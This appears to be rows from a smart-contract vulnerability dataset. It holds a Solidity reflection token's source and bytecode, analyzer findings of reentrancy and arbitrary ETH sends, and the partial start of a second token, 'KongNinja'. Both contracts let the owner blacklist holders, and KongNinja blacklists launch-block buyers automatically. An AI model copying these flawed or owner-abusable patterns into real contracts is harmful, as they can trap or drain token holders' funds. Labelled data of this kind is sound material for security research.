function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
// Not over max tx amount
require(amount <= _maxTxAmount, "Over max transaction amount.");
// Cooldown
require(cooldown[to] < block.timestamp, "Cooldown enforced.");
// Max wallet
require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount.");
cooldown[to] = block.timestamp + (30 seconds);
}
if (
to == uniswapV2Pair &&
from != address(uniswapV2Router) &&
!_isExcludedFromFee[from]
) {
_feeAddr1 = 2;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
} else {
// Only if it's not from or to owner or from contract address.
_feeAddr1 = 0;
_feeAddr2 = 0;
}
_tokenTransfer(from, to, amount);
}
function swapAndLiquifyEnabled(bool enabled) public onlyOwner {
inSwap = enabled;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function setMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount * 10**9;
}
function setMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount * 10**9;
}
function whitelist(address payable adr1) external onlyOwner {
_isExcludedFromFee[adr1] = true;
}
function unwhitelist(address payable adr2) external onlyOwner {
_isExcludedFromFee[adr2] = false;
}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 69000000000000000000000 * 10**9;
_maxWalletAmount = 69000000000000000000000 * 10**9;
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function addBot(address theBot) public onlyOwner {
bots[theBot] = true;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function setSwapTokens(uint256 swaptokens) public onlyOwner {
_swapTokensAtAmount = swaptokens;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_feeAddr1,
_feeAddr2
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061014f5760003560e01c806395d89b41116100b6578063c9567bf91161006f578063c9567bf9146103dc578063dd62ed3e146103f1578063e98391ff14610437578063ec28438a14610457578063f429389014610477578063ffecf5161461048c57600080fd5b806395d89b411461030d5780639a5904271461033c5780639b19251a1461035c578063a9059cbb1461037c578063b515566a1461039c578063bf6642e7146103bc57600080fd5b8063313ce56711610108578063313ce5671461025f57806351bc3c851461027b5780635932ead11461029057806370a08231146102b0578063715018a6146102d05780638da5cb5b146102e557600080fd5b806306fdde031461015b578063095ea7b3146101a257806318160ddd146101d257806323b872dd146101fd578063273123b71461021d57806327a14fc21461023f57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600c81526b2930bcb134ba102a37b5b2b760a11b60208201525b6040516101999190611c3b565b60405180910390f35b3480156101ae57600080fd5b506101c26101bd366004611acc565b6104ac565b6040519015158152602001610199565b3480156101de57600080fd5b506d0366e7064422fd842023400000005b604051908152602001610199565b34801561020957600080fd5b506101c2610218366004611a8c565b6104c3565b34801561022957600080fd5b5061023d610238366004611a1c565b61052c565b005b34801561024b57600080fd5b5061023d61025a366004611bf6565b610580565b34801561026b57600080fd5b5060405160098152602001610199565b34801561028757600080fd5b5061023d6105be565b34801561029c57600080fd5b5061023d6102ab366004611bbe565b6105d7565b3480156102bc57600080fd5b506101ef6102cb366004611a1c565b61061f565b3480156102dc57600080fd5b5061023d610641565b3480156102f157600080fd5b506000546040516001600160a01b039091168152602001610199565b34801561031957600080fd5b5060408051808201909152600681526514905650925560d21b602082015261018c565b34801561034857600080fd5b5061023d610357366004611a1c565b6106b5565b34801561036857600080fd5b5061023d610377366004611a1c565b610700565b34801561038857600080fd5b506101c2610397366004611acc565b61074e565b3480156103a857600080fd5b5061023d6103b7366004611af7565b61075b565b3480156103c857600080fd5b5061023d6103d7366004611bf6565b6107ff565b3480156103e857600080fd5b5061023d61082e565b3480156103fd57600080fd5b506101ef61040c366004611a54565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561044357600080fd5b5061023d610452366004611bbe565b610c05565b34801561046357600080fd5b5061023d610472366004611bf6565b610c4d565b34801561048357600080fd5b5061023d610c8b565b34801561049857600080fd5b5061023d6104a7366004611a1c565b610c95565b60006104b9338484610ce3565b5060015b92915050565b60006104d0848484610e07565b610522843361051d85604051806060016040528060288152602001611e0c602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112b3565b610ce3565b5060019392505050565b6000546001600160a01b0316331461055f5760405162461bcd60e51b815260040161055690611c8e565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105aa5760405162461bcd60e51b815260040161055690611c8e565b6105b881633b9aca00611d6b565b600d5550565b60006105c93061061f565b90506105d4816112ed565b50565b6000546001600160a01b031633146106015760405162461bcd60e51b815260040161055690611c8e565b60138054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b0381166000908152600260205260408120546104bd90611492565b6000546001600160a01b0316331461066b5760405162461bcd60e51b815260040161055690611c8e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106df5760405162461bcd60e51b815260040161055690611c8e565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b0316331461072a5760405162461bcd60e51b815260040161055690611c8e565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b60006104b9338484610e07565b6000546001600160a01b031633146107855760405162461bcd60e51b815260040161055690611c8e565b60005b81518110156107fb576001600660008484815181106107b757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107f381611da1565b915050610788565b5050565b6000546001600160a01b031633146108295760405162461bcd60e51b815260040161055690611c8e565b600c55565b6000546001600160a01b031633146108585760405162461bcd60e51b815260040161055690611c8e565b601354600160a01b900460ff16156108b25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610556565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108f430826d0366e7064422fd84202340000000610ce3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561092d57600080fd5b505afa158015610941573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109659190611a38565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109ad57600080fd5b505afa1580156109c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e59190611a38565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a2d57600080fd5b505af1158015610a41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a659190611a38565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610a958161061f565b600080610aaa6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610b0d57600080fd5b505af1158015610b21573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b469190611c0e565b5050601380546d0366e7064422fd84202340000000600a819055600d5563ffff00ff60a01b198116630101000160a01b1790915543600b5560125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610bcd57600080fd5b505af1158015610be1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fb9190611bda565b6000546001600160a01b03163314610c2f5760405162461bcd60e51b815260040161055690611c8e565b60138054911515600160a81b0260ff60a81b19909216919091179055565b6000546001600160a01b03163314610c775760405162461bcd60e51b815260040161055690611c8e565b610c8581633b9aca00611d6b565b600a5550565b476105d481611516565b6000546001600160a01b03163314610cbf5760405162461bcd60e51b815260040161055690611c8e565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610d455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610556565b6001600160a01b038216610da65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610556565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e6b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610556565b6001600160a01b038216610ecd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610556565b60008111610f2f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610556565b6002600e556008600f556000546001600160a01b03848116911614801590610f6557506000546001600160a01b03838116911614155b8015610f7a57506001600160a01b0383163014155b8015610f9f57506001600160a01b03831660009081526005602052604090205460ff16155b8015610fc457506001600160a01b03821660009081526005602052604090205460ff16155b15611298576001600160a01b03831660009081526006602052604090205460ff1615801561100b57506001600160a01b03821660009081526006602052604090205460ff16155b61101457600080fd5b6013546001600160a01b03848116911614801561103f57506012546001600160a01b03838116911614155b801561106457506001600160a01b03821660009081526005602052604090205460ff16155b80156110795750601354600160b81b900460ff165b156111b657600a548111156110d05760405162461bcd60e51b815260206004820152601c60248201527f4f766572206d6178207472616e73616374696f6e20616d6f756e742e000000006044820152606401610556565b6001600160a01b038216600090815260076020526040902054421161112c5760405162461bcd60e51b815260206004820152601260248201527121b7b7b63237bbb71032b73337b931b2b21760711b6044820152606401610556565b600d54816111398461061f565b6111439190611d33565b11156111915760405162461bcd60e51b815260206004820152601760248201527f4f766572206d61782077616c6c657420616d6f756e742e0000000000000000006044820152606401610556565b61119c42601e611d33565b6001600160a01b0383166000908152600760205260409020555b6013546001600160a01b0383811691161480156111e157506012546001600160a01b03848116911614155b801561120657506001600160a01b03831660009081526005602052604090205460ff16155b15611216576002600e556008600f555b60006112213061061f565b600c54909150811080159081906112425750601354600160a81b900460ff16155b801561125c57506013546001600160a01b03868116911614155b80156112715750601354600160b01b900460ff165b156112915761127f826112ed565b47801561128f5761128f47611516565b505b50506112a3565b6000600e819055600f555b6112ae83838361159b565b505050565b600081848411156112d75760405162461bcd60e51b81526004016105569190611c3b565b5060006112e48486611d8a565b95945050505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139757600080fd5b505afa1580156113ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cf9190611a38565b816001815181106113f057634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546114169130911684610ce3565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061144f908590600090869030904290600401611cc3565b600060405180830381600087803b15801561146957600080fd5b505af115801561147d573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60006008548211156114f95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610556565b60006115036115a6565b905061150f83826115c9565b9392505050565b6010546001600160a01b03166108fc6115308360026115c9565b6040518115909202916000818181858888f19350505050158015611558573d6000803e3d6000fd5b506011546001600160a01b03166108fc6115738360026115c9565b6040518115909202916000818181858888f193505050501580156107fb573d6000803e3d6000fd5b6112ae83838361160b565b60008060006115b3611702565b90925090506115c282826115c9565b9250505090565b600061150f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061174e565b60008060008060008061161d8761177c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061164f90876117d9565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461167e908661181b565b6001600160a01b0389166000908152600260205260409020556116a08161187a565b6116aa84836118c4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116ef91815260200190565b60405180910390a3505050505050505050565b60085460009081906d0366e7064422fd8420234000000061172382826115c9565b821015611745575050600854926d0366e7064422fd8420234000000092509050565b90939092509050565b6000818361176f5760405162461bcd60e51b81526004016105569190611c3b565b5060006112e48486611d4b565b60008060008060008060008060006117998a600e54600f546118e8565b92509250925060006117a96115a6565b905060008060006117bc8e87878761193d565b919e509c509a509598509396509194505050505091939550919395565b600061150f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b3565b6000806118288385611d33565b90508381101561150f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610556565b60006118846115a6565b90506000611892838361198d565b306000908152600260205260409020549091506118af908261181b565b30600090815260026020526040902055505050565b6008546118d190836117d9565b6008556009546118e1908261181b565b6009555050565b600080808061190260646118fc898961198d565b906115c9565b9050600061191560646118fc8a8961198d565b9050600061192d826119278b866117d9565b906117d9565b9992985090965090945050505050565b600080808061194c888661198d565b9050600061195a888761198d565b90506000611968888861198d565b9050600061197a8261192786866117d9565b939b939a50919850919650505050505050565b60008261199c575060006104bd565b60006119a88385611d6b565b9050826119b58583611d4b565b1461150f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610556565b8035611a1781611de8565b919050565b600060208284031215611a2d578081fd5b813561150f81611de8565b600060208284031215611a49578081fd5b815161150f81611de8565b60008060408385031215611a66578081fd5b8235611a7181611de8565b91506020830135611a8181611de8565b809150509250929050565b600080600060608486031215611aa0578081fd5b8335611aab81611de8565b92506020840135611abb81611de8565b929592945050506040919091013590565b60008060408385031215611ade578182fd5b8235611ae981611de8565b946020939093013593505050565b60006020808385031215611b09578182fd5b823567ffffffffffffffff80821115611b20578384fd5b818501915085601f830112611b33578384fd5b813581811115611b4557611b45611dd2565b8060051b604051601f19603f83011681018181108582111715611b6a57611b6a611dd2565b604052828152858101935084860182860187018a1015611b88578788fd5b8795505b83861015611bb157611b9d81611a0c565b855260019590950194938601938601611b8c565b5098975050505050505050565b600060208284031215611bcf578081fd5b813561150f81611dfd565b600060208284031215611beb578081fd5b815161150f81611dfd565b600060208284031215611c07578081fd5b5035919050565b600080600060608486031215611c22578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c6757858101830151858201604001528201611c4b565b81811115611c785783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d125784516001600160a01b031683529383019391830191600101611ced565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d4657611d46611dbc565b500190565b600082611d6657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d8557611d85611dbc565b500290565b600082821015611d9c57611d9c611dbc565b500390565b6000600019821415611db557611db5611dbc565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146105d457600080fd5b80151581146105d457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207500997963210fdcf7e2e5b7c84b81cffd67616de474365284c81b4059438a7164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,170 |
0x61ebf42800db31499a4f4e5aa49566bcc94ed67c
|
/**
*Submitted for verification at Etherscan.io on 2022-03-14
*/
/*
The almighty KongNinja are coming for you.
KongNinja is the leader of the great Caesar’s ape army.
Every Ninja belongs to this unit is a well trained ninja but KongNinja is the best of the best among the ninja ape army.
KongNinja 🦍
TG @ https://t.me/kongninja
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract KongNinja is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private constant _MAX = ~uint256(0);
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
string private constant _name = "KongNinja";
string private constant _symbol = "KongNinja";
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from]);
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(3).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(12).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(12).div(100);
uint256 burnCount = contractTokenBalance.div(4);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
